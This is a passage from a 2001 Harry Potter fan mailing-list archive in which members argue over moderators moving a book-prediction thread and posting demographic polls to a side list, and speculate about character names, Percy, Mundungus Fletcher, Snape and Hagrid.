keep things on the topic this list was created to discuss. If it 
devolved into an argument about religion and politics I would leave 
as, no doubt, would many others.

Cassandra Claire




From michelleapostolides at lineone.net  Thu Sep 20 21:38:03 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Thu, 20 Sep 2001 22:38:03 +0100
Subject: ADMIN RE: [HPforGrownups] New polls for HPforGrownups
References: <9odnh9+akb5@eGroups.com>
Message-ID: <03d101c1421c$87a77260$b95b063e@tmeltcds>

No: HPFGUIDX 26366

All we're trying to do is establish who comes from where and where they
might be coming from in their lives. Simple as that.  My rule of thumb
is there's no harm in answering such questions unless you really want to
hide yourself away.

Oh and as for Cassie's praise.....we elves, Mods and poltergeists enjoy
it......most of the time !

Michelle
Bad Shelly elf....




From michelleapostolides at lineone.net  Thu Sep 20 21:55:47 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Thu, 20 Sep 2001 22:55:47 +0100
Subject: Joys of OT Chat - Perception of future instalments of HP series
Message-ID: <03e101c1421f$015d5dc0$b95b063e@tmeltcds>

No: HPFGUIDX 26367

I don't post to the list very often at all, but opinions of late have
moved me to do so. Hang on to your hats !

OK, some people have expressed disappointment at Penny's request to move
predictions for future books to our OT Chat list. The reason for its
existence is because the list just couldn't cope with our attempts to
get to know each other a bit more than just how we felt about HP topics.
Some of you pointed out that OT chat is less populated than the main
list. True. But I think that OT chat makes this list so much richer for
the depth of knowledge we have of each other and we're always pleased to
see new people. It's not terribly high traffic unless we talk about food
! Give it a try. You might enjoy it ! Go to :
HPFGU-OTChatter at yahoogroups.com, join and enjoy !

Now, to my burning question. To date, we've discussed what effect recent
events might  have on what JKR writes or has written next. But will our
perception change ? I keep thinking of the end of Goblet of Fire as
quite allegorical in light of recent events - The Parting Of the Ways,
the oft-quoted Remember Cedric speech by Dumbledore and Hagrid's advice
to Harry " What's comin' will come, an' we'll meet it when it does ". As
if something big's brewing. Just like now in the real world.

How do you all see it ?

Michelle




From cynthiaanncoe at home.com  Thu Sep 20 22:04:00 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Thu, 20 Sep 2001 22:04:00 -0000
Subject: ADMIN RE: [HPforGrownups] New polls for HPforGrownups
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2D0D@MIAEXCH1>
Message-ID: <9odp4g+qthm@eGroups.com>

No: HPFGUIDX 26368

--- In HPforGrownups at y..., "Tandy, Heidi" <heidi.h.tandy.c92 at a...> 
wrote:
> Then why not join the OT list and read the posts on webview? <snip> 
> 
> Let me ask another question - is the name OT-CHATTER offputting? Do 
listies
> think that it's a rambly, completely non-HP-related thing over 
there? If you
> WON'T join, or even look at it, WHY NOT?

I can only speak for myself, but there are some people who like 
canon, and only canon.  I'm that way.  So I spend almost all of my 
time here, parsing questions, speculating, etc.  Maybe people like me 
should give ourselves a name, like "Canonites."

Anyway, for a Canonite, it takes a long time on OT-CHATTER to get 
anything that really advances your understanding of and appreciation 
of canon.  So I don't go over there much.  

Thanks for explaining the rules and history about "contests."  But I 
didn't really see the derby as a "contest."  It struck me as a 
gimmick to launch a nifty discussion about key canon points.  It 
certainly wasn't off-topic, IMHO, and if it had been broken up into a 
bunch of individual posts, no one would have even thought about 
moving it OT-CHATTER.

I guess I am still getting used to this board.  When the moderators 
break in, it feels like the cops are busting up a party sometimes.  I 
will have to stop reacting that way, perhaps.  Anyway, the moderators 
should know that I think they do a good job with this board, and I do 
appreciate their efforts.

Cindy (who definitely strayed off-topic in this post)




From neilward at dircon.co.uk  Thu Sep 20 22:17:51 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Thu, 20 Sep 2001 23:17:51 +0100
Subject: OT Chatter/Demographics Polls
Message-ID: <014701c14222$16d89ae0$4d3670c2@c5s910j>

No: HPFGUIDX 26369

Hi everyone,

Okay, I'm really just reinforcing what others have said, but since there
seem to be some tempers fraying, I'm going to stick my two knuts in...

Firstly, OT Chatter, as some of you know, was created as a side group
because of the high message volume on our list, but it was always intended
to be *complementary* to the main list.  A number of HP-related topics are
listed as appropriate for discussion there, but it also allows people to
post on completely OT subjects without swamping ongoing threads.

Just to reiterate on the OotP Derby thread: occasionally, people post
messages that are likely to generate a large number of brief 'list'
responses (a bit like a quiz) and these are usually moved to the OT list.
This is not intended to kill off the conversation and we are not ticking
people off for making an error if we ask for the thread to move over, it's a
simple request for people to move from one room to another.  Large numbers
of you are not members of OT Chatter, and that's your choice, but you are
missing a part of the list where you can learn more about other members.  If
you don't want piles of OT e-mails, please try the Digest or Webview modes,
as others have suggested, and read or write posts there only when you want
to (as in this case).

I'll also drive home what's already been said about the *voluntary* polls
that Penny put up: these  are meant to explore the diversity of the list,
something that we can celebrate and learn from (or so we thought...hmmm).
If you don't want to take part, just don't.  Posting blind polls to examine
list demographics is, frankly, not the same as debating related
controversial issues on the list, unless I'm missing something.

Magically,

Neil
____________________
Flying Ford Anglia
Moderator Team





From entilzha at crosswinds.net  Thu Sep 20 22:41:55 2001
From: entilzha at crosswinds.net (Daniel Siegmann)
Date: Thu, 20 Sep 2001 18:41:55 -0400
Subject: OT derby and Polls (was: RE: ADMIN RE: [HPforGrownups] New polls for HPforGrownups)
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2D0C@MIAEXCH1>
Message-ID: <ILEFKEDOPGKIBOMPJIMFEEPGCDAA.entilzha@crosswinds.net>

No: HPFGUIDX 26370



> -----Original Message-----
> From: Tandy, Heidi [mailto:heidi.h.tandy.c92 at alumni.upenn.edu]
> Sent: Thursday, September 20, 2001 4:42 PM
> To: 'HPforGrownups at yahoogroups.com'
> Subject: RE: ADMIN RE: [HPforGrownups] New polls for HPforGrownups
>
>
> I have a question here:
> Cynthia wrote:
>
<snip>
> WHY should something be dead just because it's on OT-Chatter?
> WHY should people not reply over there? Why should moving it to
> another list
> make it impossible for people to post replies on that list? It's not like
> it's hard to find, given that Penny put the URL right into the message
> moving the thread.
>
> I admit to being completely confused.

The OT group shouldn't exist. If it's a discussion of HP, then it's on-topic
for this group and should be here. If it's not, then I'm not interested in
reading it. Thus, I am not subscribed to the OT-Chatter group and have no
interest in the extra mail I'd have if I did (this group is busy enough).

I can understand the desire for contests to be dealt with elsewhere, as they
do clog up mailing lists. In general, responses to contents should be sent
to the person running the contest. The "derby" is an exception however. I
found people's predictions for OoP to be interesting, and certainly on topic
for this group. It should not have been moved to OT-Chatter, since it's not
off-topic.

As far as the polls go, I have no intention of submitting personal
information. I do not trust Yahoo not to keep a record of that information,
and I have no interest in knowing just how diverse everyone is, unless it
has some relation to HP. However, I see nothing wrong with having the poll -
those who don't want to vote, won't (of course, this means that the poll may
not be very accurate...).

~~~~~~~~~~~~~~~~~~~~~
Draxon Varradami
gandalf at optonline.net




From keegan at mcn.org  Thu Sep 20 23:10:50 2001
From: keegan at mcn.org (Catherine Keegan)
Date: Thu, 20 Sep 2001 16:10:50 -0700
Subject: other lists, etc...
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2D0D@MIAEXCH1>
Message-ID: <4.2.0.58.20010920160244.009ea860@mail.mcn.org>

No: HPFGUIDX 26371

OK.  I'm game.  I'll give it a shot and try the other two HP4GUs lists; 
however, I agree with a bunch of the other folks who posted and I have to 
say that I love the thought-provoking questions that people post HERE.

I've only read the whole series once and am currently working my way back 
through it (but I have to do my homework and read at least the first book 
in the LotR series to make the spousal unit happy.).  The questions and the 
wonderful replies have really increased my reading pleasure.  I'm not a 
picky reader, I get swept up in the stories.  All of the careful 
observations that folks share here make the books even more enjoyable.

I must also note that, while Yahoo says there are over 2000 subscribers to 
this list, only a small percentage post.  I subscribe to several lists with 
a far larger base and routinely spend delete whole topics without reading 
them.  It's not that hard.

So, list elves and mods, thanks for all of your wonderful efforts!  This 
list is a lot of fun and the support shown last week was great.  This was 
one of the few lists that didn't succumb to some really nasty name-calling 
and saber-rattling.  But, I still think the derby should continue on 
here.  I don't think it's a bad thing and I want to thank Laura and the 
rest of the people who take the time and effort to compile these kinds of 
questions.  They're loads of fun for me at least.

Catherine in California

Albion Works
Furniture, Clothing, and Accesories
For the Medievalist!
www.albionworks.net



From joym999 at aol.com  Thu Sep 20 23:18:39 2001
From: joym999 at aol.com (Joy M)
Date: Thu, 20 Sep 2001 23:18:39 -0000
Subject: name origins
Message-ID: <9odtgf+tbq6@eGroups.com>

No: HPFGUIDX 26372

I had a thought today (a likely story, I hear some people mumbling).  
Certain HP words have always seemed sort of light and cute and 
comical and silly to me, like Dumbledore and Hogwarts and Hufflepuff, 
where as others seem downright sinister, like Voldemort and Slytherin 
and Malfoy.  JKR is obviously very good at creating names that have 
the right "feel" to them.  But how much of that feeling is related to 
the rhythm and pitch of the word, and how much is due to our 
associations with other words?

For example, Dumbledore has a light, bouncy sound when you say it 
since it is full of D's and B's.  On the other hand, I think that 
Hogwarts sounds funny to me because it is a combination of two sort 
of humorous words -- hogs, which IMO are funny animals, and warts, 
which for some reason are amusing.  It also makes me think of the 
word "hogwash," which means nonsense.  And while Hufflepuff has sort 
of a fun sound, it is also associated with silliness such as the Big 
Bad Wolf saying "I'll huff and I'll puff..."  I also associate it 
with an unfortunate TV program of my youth (not to be confused with a 
TV program of my unfortunate youth) called H.R. Puffenstuff.  (Oh, 
no, now that theme music is running thru my head.)

The evil names of course have nasty sounds and associations.  
Slytherin sounds like slither, which is something nasty things do, 
and Voldemort starts with the letter V, which has a vicious and 
vampiric sound to it, like a vaccination.  It also has the french 
word for death, "mort," in it.  Malfoy sounds nasty to me more 
because it has the french word for bad, "mal," in it.

Another name that seems negative by association is Crabbe, whose 
first name is Vincent (not Bob or Sam or Bill).  Goyle also sounds 
nasty, too, like boil in oil and (as has been noticed by others) 
gargoyle.

However you look at it, JKR does have a certain genius with creating 
words.

--Joywitch, carefully avoiding the laundry list of current 
controversies




From cynthiaanncoe at home.com  Thu Sep 20 23:29:59 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Thu, 20 Sep 2001 23:29:59 -0000
Subject: name origins
In-Reply-To: <9odtgf+tbq6@eGroups.com>
Message-ID: <9odu5n+81ls@eGroups.com>

No: HPFGUIDX 26373

--- In HPforGrownups at y..., "Joy M" <joym999 at a...> wrote:
> I had a thought today (a likely story, I hear some people 
mumbling).  
> Certain HP words have always seemed sort of light and cute and 
> comical and silly to me, like Dumbledore and Hogwarts and 
Hufflepuff, 
> where as others seem downright sinister, like Voldemort and 
Slytherin 
> and Malfoy.  JKR is obviously very good at creating names that have 
> the right "feel" to them.  

I feel the same way.  Some of the names of things are kind of 
neutral, like pensieve, but are clever word plays.  Veritaserum is 
the same way.  My single favorite name is Sirius Black.  If you are 
naming a would-be villian, it is hard to go wrong there.  I'm also 
becoming quite taken with the name Severus, which would be a great 
name for my next dog.

The flip side of this coin, however, are the words and names that 
just don't work for me.  One is "death eaters."  Ludo Bagman doesn't 
stir any images for me, either.  Winky also doesn't seem to fit, as 
Winky is kind of, well, whiny.  But maybe she'll lighten up in future 
books.

Cindy (whose own name doesn't do much for her either)




From vheggie at yahoo.com  Thu Sep 20 23:30:11 2001
From: vheggie at yahoo.com (vheggie at yahoo.com)
Date: Thu, 20 Sep 2001 23:30:11 -0000
Subject: Ooops - Polls - Derby
Message-ID: <9odu63+v4od@eGroups.com>

No: HPFGUIDX 26374

1) I know it can be almost as irritating to have an 'oops' post as it 
was to have the accidental post in the first place, so I'm saying 
Oops here for my delayed reaction to the 'Derby' thread - I wrote it 
offline, so when I came to post it I hadn't noticed the ADMIN 
messages.  So I'm saying Oops now, and in future, please just refer 
back to this message if I make another mistake!

2)Although I subscribe to OT-Chatter, I no longer read it - there's 
too much traffic in these two groups to keep up with both of them, 
and the majority of the messages in OT don't interest me.  It would 
be a shame to loose the Derby - I know it may take up space, but it's 
generating a lot of interesting responses - like a 'brainstorming 
session' -I for one, have been enjoying it so far..

3)Regardless of whether the polls are anonymous or not, it was very 
strange to see them all before an explanation was forthcoming - I, 
like several others, thought that it was a hoax of some sort.  I know 
mods can't be perfect all the time, but next time it would be nice to 
get the expln. first, and the questions later - if only so that you 
can establish the appropriate 'categories' for the polls - we've 
already seen that many people feel thay are not applicable to them.




From tracey_vampyre at yahoo.com  Thu Sep 20 23:49:14 2001
From: tracey_vampyre at yahoo.com (Tracey)
Date: Thu, 20 Sep 2001 23:49:14 -0000
Subject: 14.  Who is Mundungus Fletcher
Message-ID: <9odv9q+bcaj@eGroups.com>

No: HPFGUIDX 26375

I know that Dumbledore said that Mundungus Fletcher was part of the 
old crowd. but the few times that he is mentioned in the book, he 
doesn't come off well.  He tries to hex Aurther weasly when his house 
is raided. Then in GOF he's one of the people who sent howlers to 
Percy at the Ministry because of property damage when they were at 
the Quidditch match. 

"Why are they all sending Howlers?" asked Ginny.

"Complaining about security at the World Cup," said Percy.
"They want compensation for their ruined property. Mundungus 
Fletcher's put in a claim for a tweleve-bedroomed tent with en-suite 
Jacuzzi, but I've got his number. I know for a fact he was sleeping 
under a cloak propped on sticks."

He seems like a fishy character to me. But he keeps getting mentioned.


Trace





From kristen at sanderson-web.com  Fri Sep 21 00:46:39 2001
From: kristen at sanderson-web.com (kristen at sanderson-web.com)
Date: Fri, 21 Sep 2001 00:46:39 -0000
Subject: What about Percy? - newbie post
Message-ID: <9oe2lf+eop4@eGroups.com>

No: HPFGUIDX 26376

Starting in CoS where they found Percy in Diagon Alley 
reading "Prefects Who Gained Power".  A theme has been started 
throughout the books and shifted into high gear during GoF that 
starts us all wondering whether Percy is too power hungry.  Ron 
wonders about this several times in GoF.  I didn't look up specific 
references, but I remember Ron wondering aloud whether Percy would 
turn in his own brothers.

This makes me think about Quirrell at the end of SS where he tells 
Harry, "There is no good or evil, there is only power, and those too 
weak to seek it."  I am wondering if Percy's bid for power will be a 
major plot line in a future book.  Judging by the buildup in GoF, I 
would say that this is going to happen in book 5.  

Any thoughts?
Kristen
p.s. I think that Arabella Figg will be the new DADA Professor





From meboriqua at aol.com  Fri Sep 21 00:48:07 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Fri, 21 Sep 2001 00:48:07 -0000
Subject: The Little Lord Voldy (filk)
In-Reply-To: <9odbqh+tl2u@eGroups.com>
Message-ID: <9oe2o7+em9b@eGroups.com>

No: HPFGUIDX 26377

--- In HPforGrownups at y..., "Caius Marcius" <coriolan at w...> wrote:
> The Little Lord Voldy
> 
> (to the tune of Away in a Manger)
> 
> Dedicated to Pippin
> 
> At the old Riddle House, his familial turf, 
> Now roughly the size and the shape of a Smurf,
> He huddles for warmth by the crackling flame - 
> The Little Lord Voldy, so shrunken and lame.
> 
> The Little Lord dictates by the fireplace
> Wormtail's grossed-out by the sight of his face
> He looks as though he just crawled out `neath a rock
> But Little Lord Voldy will not call the doc.
> 
> Nagini is curled up snug at his side
> Muggles who drop by do not go back outside
> With visions of flesh, blood and bone in his head
> The Little Lord Voldy retires to bed.>

I must admit that I have no idea what the tune is to this particular 
filk, but this has just made my favorites list.  "...size and the 
shape of a smurf" - LOL!

Caius, you never cease to amaze and entertain me.

--jenny from ravenclaw ******************************************




From rowena_grunnion_ffitch at yahoo.com  Fri Sep 21 00:50:12 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Thu, 20 Sep 2001 17:50:12 -0700 (PDT)
Subject: [HPforGrownups] Re: Discussion: Sorting Hat, Founders, and the Hogwarts Houses
In-Reply-To: <9odlgn+tln6@eGroups.com>
Message-ID: <20010921005012.72818.qmail@web20808.mail.yahoo.com>

No: HPFGUIDX 26378

>Marauders - I really like the idea that the Marauders
belonged to 
>different houses; Potter - Griffindor, Black -
Slytherin (couldn't 
>you just see some early Sirius/James rivalry evolving
into an 
>extreemely close friendship?), Lupin - Hufflepoof and
Pettigrew - 
>Ravenclaw, for all the reasons outlined in earlier
posts

   One from each House eh? it's possible, and would
perhaps explain the virulance of Snape's hatred for
Sirius if he views him as some sort of traitor to
their House for hanging out with James. However a
close friendship between a Slytherin and Gryffindor is
problematical to say the least considering the rivalry
between the two Houses. More likely both James and
Sirius are Gryffindors.
   On the other hand Peter and Lupin could both have
belonged to another house, probably Ravenclaw, which
seems to be regarded favorably by both Slytherins and
Gryffindors, unlike Hufflepuffs who are considered 'Duffers'.

__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From rowena_grunnion_ffitch at yahoo.com  Fri Sep 21 01:19:50 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Thu, 20 Sep 2001 18:19:50 -0700 (PDT)
Subject: [HPforGrownups] Re: Is  Snape a Vampire? Who would he kill?
In-Reply-To: <9oakvc+ei2d@eGroups.com>
Message-ID: <20010921011950.19207.qmail@web20807.mail.yahoo.com>

No: HPFGUIDX 26379

--- sgallag4 at hotmail.com wrote:

> >Interestingly we have Hagrid's word that 'Snape
> would never try to 
> >kill a student.' 
> 
> Should we take this to mean that Hagrid knows who
> Snape *would* kill, 
> or has killed?  This could be a clue as to what
> information Hagrid has 
> about Snape's past.

    I found myself thinking the same thing, so who
*would* Snape kill? Hagrid seems to be right though,
however angry and verbally abusive he might get Snape 
never physically harms a student. Even when half mad
with fury in PoA he doesn't lay hand or spell on HRH.


__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From bobbins29 at hotmail.com  Fri Sep 21 01:23:03 2001
From: bobbins29 at hotmail.com (bobbins29 at hotmail.com)
Date: Fri, 21 Sep 2001 01:23:03 -0000
Subject: name origins
In-Reply-To: <9odtgf+tbq6@eGroups.com>
Message-ID: <9oe4pn+l1l3@eGroups.com>

No: HPFGUIDX 26380

--- In HPforGrownups at y..., "Joy M" <joym999 at a...> wrote:
> 
> However you look at it, JKR does have a certain genius with 
creating 
> words.
> 


i don't disagree, some of the words she uses are (while unoriginal), 
brilliant.


the main word i dislike, though, is "hogwarts".  it's just... 
unpleasant.


and now for a completely unrelated question to you all:

in the Lexicon site 
(http://www.i2k.com/~svderark/lexicon/puzzles2.html#Who%20are%
20Harry's%20family) it says JKR hinted in an online chat that the 
ancestor/descendent mix up might be intentional.

can anyone give me the the chat transcript URL?





From foxmoth at qnet.com  Fri Sep 21 02:18:55 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Fri, 21 Sep 2001 02:18:55 -0000
Subject: name origins
In-Reply-To: <9oe4pn+l1l3@eGroups.com>
Message-ID: <9oe82f+5aka@eGroups.com>

No: HPFGUIDX 26381

--- In HPforGrownups at y..., bobbins29 at h... wrote:

> the main word i dislike, though, is "hogwarts".  it's just... 
> unpleasant.

   It's a pun on warthog.

Pippin
who suspects that Mundungus Fletcher might be  an *unsavory 
character * who is nonetheless vital to the good guys' success.




From j.franklin at mail.utexas.edu  Fri Sep 21 02:20:03 2001
From: j.franklin at mail.utexas.edu (j.franklin at mail.utexas.edu)
Date: Fri, 21 Sep 2001 02:20:03 -0000
Subject: Work after Hogwarts?
Message-ID: <9oe84j+dpok@eGroups.com>

No: HPFGUIDX 26382

This is my first post so please forgive me if this has been written 
before.  I am wondering if all graduates of Hogwarts work in the 
wizarding world and what kind of job oppurtunities there are.  It 
seems to me that because of the relatively small population of 
magical people that it would be impossible for certain jobs to be 
available or even exist within the community.  For example, there has 
only been one mention that I remember of a restaurant so does that 
mean that it is impossible for witches and wizards to become chefs?  
So what do graduates put on their resumes under education when 
applying for jobs in the Muggle world?  It seems that this would be 
particularly difficult for children from Muggle families.  A similar 
problem is what do they tell nonmagical relatives about where their 
children go to school?  I am having a problem with the idea of how 
feasible it would be to hide such a huge secret from the rest of the 
population.  Of course I realize that it is only a story and does not 
have to be feasible.    




From editor at texas.net  Fri Sep 21 02:24:32 2001
From: editor at texas.net (Amanda Lewanski)
Date: Thu, 20 Sep 2001 21:24:32 -0500
Subject: Ancient History (was other lists, etc...)
References: <4.2.0.58.20010920160244.009ea860@mail.mcn.org>
Message-ID: <3BAAA4E0.DB023B5C@texas.net>

No: HPFGUIDX 26383

Catherine Keegan wrote:

> OK.  I'm game.  I'll give it a shot and try the other two HP4GUs
> lists; however, I agree with a bunch of the other folks who posted and
> I have to say that I love the thought-provoking questions that people
> post HERE.

A bit of history on Chatter, for you newer folk. Once upon a time, on a
list called HPforGrownups, somebody American asked the list just what
some British food item mentioned in the books was. About the same
general time (I think) I made a "me, too" post, and asked the list just
what the heck clotted cream was, because it sounded to my American ears
just revolting, but judging from the context, it's something good.

This devolved into long, complex, appetite-stimulating discussions of
British food--terminology, how to make it, where to get it in the U.S.,
Australian derivatives, etc. There were entire threads devoted to the
minute but important differences between lemon drops and sherbet lemons,
and New York or Chicago pizza versus London pizza (experts disagree on
whether the London variety even deserves to use the term). Even after
reading all of that I still think spotted dick sounds like something you
should be treating, not eating. But I digress.

The point is, the list was having a ball with the food posts, but they
had evolved past having anything to do with the books and had a life of
their own. A quite prolific life, generating loads and loads of posts.
It was decided to move the HP-generated, but not particularly
HP-relevant, postings to a new, different list, to be called HPChatter.
It was done so that the members of the main list, who really didn't give
a damn how to make scones, would not have to be burdened with all the
posts.

Please realize that this actually really didn't happen all that long
ago. Chatter was formed on February 2 of this year. And since then, the
guidelines for what goes on which list have been constantly fine-tuned,
as We The Members come up with topic after topic which manage to
straddle the fence, topic after topic which could be argued convincingly
to belong in either group.

The Moderators of this august group really do practice a hands-off
approach. When they have needed to request a thread be moved, it is
generally debated amongst themselves for a bit. They haven't often made
the request--either it's not a long-lived thread, or the members
involved move over themselves, and the Mods have not needed to do
anything. So there isn't a huge battery of "case law" for them to
reference.

The Moderators are trying their damndest to keep an atmosphere of "among
friends" on the list, on both (all?) lists, and unfortunately, as the
membership numbers keep rising, that means more involvement, more posts
that seem like statements of policy instead of friendly little
reminders. It's just that, once you get to such a size, you *need*
policy to fall back on, or you start to have no life.

None of it is ironclad. None of the moderators are particularly grouchy
(with the occasional exception of the one who may have been up several
times in the night with her baby). They're just in the process of trying
to codify and organize and write down in so many words, the stuff we've
just sort of been doing all this time.

Anyway, the length of this post makes it clear why I often belong on
Chatter. But maybe that helps clarify things a bit?

--Amanda


[Non-text portions of this message have been removed]




From driveslucy at aol.com  Fri Sep 21 02:34:42 2001
From: driveslucy at aol.com (driveslucy at aol.com)
Date: Thu, 20 Sep 2001 22:34:42 EDT
Subject: ADMIN RE: [HPforGrownups] New polls for HPforGrownups
Message-ID: <9.1bb5d736.28dc0142@aol.com>

No: HPFGUIDX 26384

In a message dated 9/20/01 4:19:20 PM Central Daylight Time, 
heidi.h.tandy.c92 at alumni.upenn.edu writes:

<< Then why not join the OT list and read the posts on webview? I don't want 
to
 sound argumentative, but have you even looked at OT-Chatter? It's not just
 rambles - it's..."roll calls" (and always has been) and merchandise and
 birthdays (canon and fandom - we celebrated Hermione yesterday!) and fanfic
 and Nostradamus and food (lots of food!) and a cool online encyclopedia
 called Wikepedia and The Sims and the Changing of the Guard at Buckingham
 Palace and Yael's post about her cousin who is still missing from last
 week's attack and Vanity Fair and the movie and previews and The Leaky
 Cauldron and FictionAlley.org and the fact that James Potter's name is in
 the credits from the Muppet Movie. 
 
 I know that the mods are trying VERY VERY hard to keep as many people happy
 as possible at the same time. And part of this inlcudes taking *certain*
 things and bringing them to OT Chatter. Now, the ADMINs never said that the
 individual questions couldn't be discussed onlist. They just pointed out
 that contests and roll calls are to be on OT Chatter. it's nothing new -
 it's been that way since the chatter-list started back in February.
 
 Let me ask another question - is the name OT-CHATTER offputting? Do listies
 think that it's a rambly, completely non-HP-related thing over there? If you
 WON'T join, or even look at it, WHY NOT?
  >>

Okay, since you asked, I'll assume you really want to know.  I am not 
interested in fanfic, merchandise, birthdays canon or otherwise, who was 
sorted into which house and has which wand core, etc.  And if it is too much 
trouble to delete them from my mailbox, it's unlikely that I will take the 
time to search through them at the website at even less convenience to 
myself.  Please understand I am not trying to be critical of the mods who I 
think do a wonderful job of keeping this place afloat.  But I was enjoying 
the speculation that those questions inspired.  It was far more interesting 
than whether Crookshanks is part Kneazle, a topic of which I thought we'd 
never see the end, and was the topic that finally brought me to performing 
triage on the main list.  Since I can't possibly read everything and seldom 
get up the nerve to post I was disappointed to see a topic I was enjoying go 
away, that's all.

Luce, the quiet one in the corner



From mindyatime at juno.com  Fri Sep 21 02:41:44 2001
From: mindyatime at juno.com (Mindy C.L.)
Date: Thu, 20 Sep 2001 22:41:44 -0400
Subject: Potions, Yuck?
Message-ID: <20010920.225050.-364279.19.mindyatime@juno.com>

No: HPFGUIDX 26385

I am quite repulsed by the list of ingredients that go into the various
potions Snape brews with his students. Are these things actually DRUNK by
the students or are they applied topically to surfaces of whatever needs
to be affected? Can you imagine downing something containing dragon
liver, bat spleen, rat brain, crocodile heart, leech juice, boomslang
skin, powdered beetles, and mashed caterpillars??? EEEE YEWWWW!!!
________________________________________________________________
GET INTERNET ACCESS FROM JUNO!
Juno offers FREE or PREMIUM Internet access for less!
Join Juno today!  For your FREE software, visit:
http://dl.www.juno.com/get/tagj.



From tabouli at unite.com.au  Fri Sep 21 03:05:11 2001
From: tabouli at unite.com.au (Tabouli)
Date: Fri, 21 Sep 2001 13:05:11 +1000
Subject: Theorists, Riddles and Sidekicks (see also Hagrid's Image Problem)
Message-ID: <006d01c1424a$55a3dd20$55856fcb@price>

No: HPFGUIDX 26386

Rita:
> It is my theory that Godric Gryffindor was really a Welshman named 
Gryffydd Glyndwr, who went off to seek adventure, first becoming a 
mercenary with Saxon colleagues who couldn't pronounce his name, so 
they called him Godric Gryphon d'Or (golden griffin)<

As an obsessive theorist myself (L.O.O.T.?), I have to express my admiration for Rita's efforts here, historically and geographically plausible or no.  Magnificent stuff.  I'm also impressed by Martin's musings on the possibilities of Priori Incantem.  Hey, if I were Fudge, that spiel would put Martin in contention for the graduate positions in the Department of Aurors and Sundry Fighters of Evil (or whatever it's called)...

More Rita;
> Tom Riddle is more human than Lord Voldemort - V has succeeded
in making himself into a monster, no longer human - but Tom is just
as evil as V<

jenny from ravenclaw:
> Tom Riddle is very interesting to me and is not as one-dimensional as Voldemort is, if that makes any sense.<

Hear hear.  Tom Riddle is a much more convincing villain than V for this reason.  Crimes committed with premeditated calm and logic and dismissiveness are much more chilling than the rantings of a stereotypic evil overlord, who is just evil as a matter of policy.

Deeblite:
> > We have Tom, we have Harry, who is Dick?
>
> The Basilisk

The one eyed chamber snake, eh?  I can feel some very bawdy jokes coming on here, so perhaps I should hasten gracefully on to the next topic...

Mindy:
> In POA Chapter 7 (The Boggart in the Wardrobe) is the first time that it
slips that there may be a time turner:

I always thought that the fact that Hermione was time-travelling was trumpeted so loudly in the narrative voice (if that's what it's called: Luke?) that JKR intended her readers, if not her characters, to know this right from the start.  I mean, if her timetable at the start of term obviously has overlapping classes, and she had to "fix something with Professor McGonagall" to do so many subjects, how else could she be doing them?  I was taken in by most of the other plot twists, but I didn't even count this as a twist.  I was just curious to see how it was done, not what was being done.

Saitainia:
> Small note on Pettigrew as I seem to be one of his resident defenders (is there actually anyone but me?)

As I've mentioned before, I can appreciate a fictional character independently of whether I would like him or her as a real person.  Take Rita Skeeter for example: horrible woman, wonderful character.  Same with Lockhart.  Alas, the wormtailed one does little for me in either department.  Despite some impressive villainy (the Sirius scenario was a masterstroke), he fits a bit too well into the "Evil Overlord's Snivelling Sidekick" box for me to like him as a character.  I do agree with Saitainia that he displays a certain cowardly courage, and has the potential to develop another dimension or two.  Perhaps in Book 7 when Harry is in V's clutches and all seems lost, he will be mysteriously rescued by a hero whose identity remains obscure until Harry sees a dim silver glow emanating from his savior's departing hand... (a la El-ahrairah's ears?)

> Does anyone have any speculations about what secrets Hagrid may 
> harbor?  We've discussed Snape's past a gazillion times (but I like 
> it, Amanda!).  What about Hagrid?  I have no idea.
> 
> --jenny from ravenclaw 

I know this is from a few days ago now, but yes, good point.  Hagrid indeed has an interesting past, he has taken a crucial role in the action in every book so far, and there are hints that he knows a lot of intriguing details about the Potters and Snape that he hasn't let on.  I think the reason why we've dedicated roughly 1000 times more time to Snape's past than Hagrid is a matter of image.  Snape has mystique.  He's brooding, he's bitter, he's tortured, he's greasy-haired, he hunches behind a wreathing mass of potions exuding oily remarks and snide put-downs, harbouring a deep and infathomable grudge.

Hagrid, on the other hand is (and I've picked up my tomato shield here) almost Dumbledore's Wormtail equivalent.  He's the Wise White-Bearded Old Sage's Loyal But Oafish Sidekick, with the accompanying well-meaning bumbling, lovable clumsiness and respect and devotion for the WWBOS and his apprentice (Harry).  All very endearing, but sadly lacking in enigmatic aura (and, so it seems, sex appeal: I haven't heard of any swooning listmembers licking whipped cream from their Hagrid poster...).  Perhaps JKR is being terribly crafty here: just as Snape's flashy sneering and swooping about like a bat was a smokescreen for Quirrell, his tortured mystique may be distracting us from the significance of Hagrid's past and knowledge...

Tabouli.


[Non-text portions of this message have been removed]




From joym999 at aol.com  Fri Sep 21 03:01:57 2001
From: joym999 at aol.com (Joy M)
Date: Fri, 21 Sep 2001 03:01:57 -0000
Subject: HP3GU Contest #14 
Message-ID: <9oeaj5+g0dg@eGroups.com>

No: HPFGUIDX 26387

This week's contest, which is an HP-themed acrostic puzzle, is still 
open.  For details about the contest, see message #26186.  Note that 
I have downloaded a Microsoft Word version of both the puzzle diagram 
and the wordlist to the files section.  If you have any trouble 
downloading the files, let me know and I will email them directly to 
you, although I might not get back to you until Monday night since I 
am going away for the weekend.

--Joywitch




From Schlobin at aol.com  Fri Sep 21 03:13:56 2001
From: Schlobin at aol.com (Schlobin at aol.com)
Date: Thu, 20 Sep 2001 23:13:56 EDT
Subject: [HPforGrownups] ADMIN: Tolerance; Diversity Polls on HPforGrownups
